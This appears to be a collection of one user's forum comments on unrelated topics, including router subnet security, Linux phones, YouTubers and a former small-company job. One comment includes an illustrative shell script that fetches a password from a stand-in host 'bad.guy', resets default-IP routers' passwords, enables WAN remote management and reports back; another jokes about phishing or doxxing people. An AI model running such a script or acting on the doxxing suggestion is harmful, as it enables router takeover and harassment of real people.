…and you pay more for other distros?

I’d bet it’s just further self-censoring for fear of being unalived.

No worries. It is technically another layer in the “swiss cheese” model, but it certainly is more holes than cheese. I think it falls into the “can’t hurt, might help” category.

That’s what I said though, it only protects you from the very most basic of mindless scripts. Obviously ARP/NDP makes it pointless for anything more complicated than…

newpass="$(curl "https://bad.guy/get_pass_for_pub_ip")"
for a in '192.168.1.1' '192.168.0.1' '10.0.0.1'; do
    curl -q "http://${a}/reset_password.cgi?&password=password&new_password=${newpass}" 2>/dev/null && \
    curl -q "http://${a}/remote_management.cgi?&password=${newpass}&wan_enable=1" && \
    curl -q "https://bad.guy/success?addr=%24%7Ba%7D"
done

…completely pointless. If it’s a someone inside your network, you need more.

Using a random non-default subnet increases security (slightly, and only through obscurity) by making it harder for a compromised device to perform automated attacks against, most often, your router. Typically they’re pretty simple scripts that just try to hit default ports on default IPs.

Well of course it doesn’t, God does.

I mean, postmarketOS supports a pretty decent range, but as far as native Linux phones I’m right with you.

When you buy “chicken” at the store, is it referring to the animal, or the flavor and texture?

EDIT: About the response I was expecting, and I think I agree in this instance. I was just curious to get others’ viewpoints. It might have been better to phrase it as “When you see the word ‘chicken’ on a product…”

I mean, that’s high praise for a vacuum. I would be more concerned if it didn’t.

They’ve actually achieved a higher state of enlightenment by using the superior duodecimal system (a.k.a. base 12).

Gosh dang, I was trying to make that a joke but yours is better than anything I thought of.

Christian
In
Name
Only

Alternatively, send them straight to a site that absolutely gets them put on some watchlist. Not as much instant karma as malware, but situationally more useful in the grand scheme of things. (Some kind of government honeypot perhaps, or just phish n’ dox them.)

If they actually read the Bible, they would never let a child near it go near a child.

ftfy

I feel like Linus has a good heart, but I think the constant pressure to be relevant has kinda ruined his personality over the years (at least on camera). I have fond memories of LTT’s videos like 8 years ago, but now they’re overproduced for my taste; they just don’t seem genuine anymore. Same old story as most anyone that makes it big, I know.

OOHHH very true, didn’t think of that. I’ll definitely try to be more considerate next time.

Not a big enough company for the owners to have vacation homes (only like 8 people so they were still very involved in the day-to-day), but one of them was talking about upgrading their riding mower a lot at the time. They were going to spend like 9 grand to cut their mowing time from 3 hours to 1 hour 45 minutes. All I could think was “lol, why not just restore most of that grass to native grassland and never think about it again?”

If I had the perspective then that I do now, I probably would have at least tried to do similar. At the time though I thought it was my dream job and blamed myself for feeling like I wasn’t meeting expectations. My crippling social anxiety (also just depression?) making it darn near impossible to ask for help… well, that didn’t help either.

The funny(?) thing is it was a small company of like 8 people total including the brothers that founded and own it. They’re not mean or totally heartless people either, the owners just don’t have good business sense.

I did my summer internship there during college a couple years earlier and thought everything went fine, but when they let me go they mentioned out of nowhere that “we had a similar concern while you were interning” even though I don’t recall them ever bringing that up with me prior to that very moment. Just weaseling for any justification they could think of for what they knew was a terrible miscalculation on their part, methinks. Oh well, it only put a minor dent in my self-esteem… 😅😑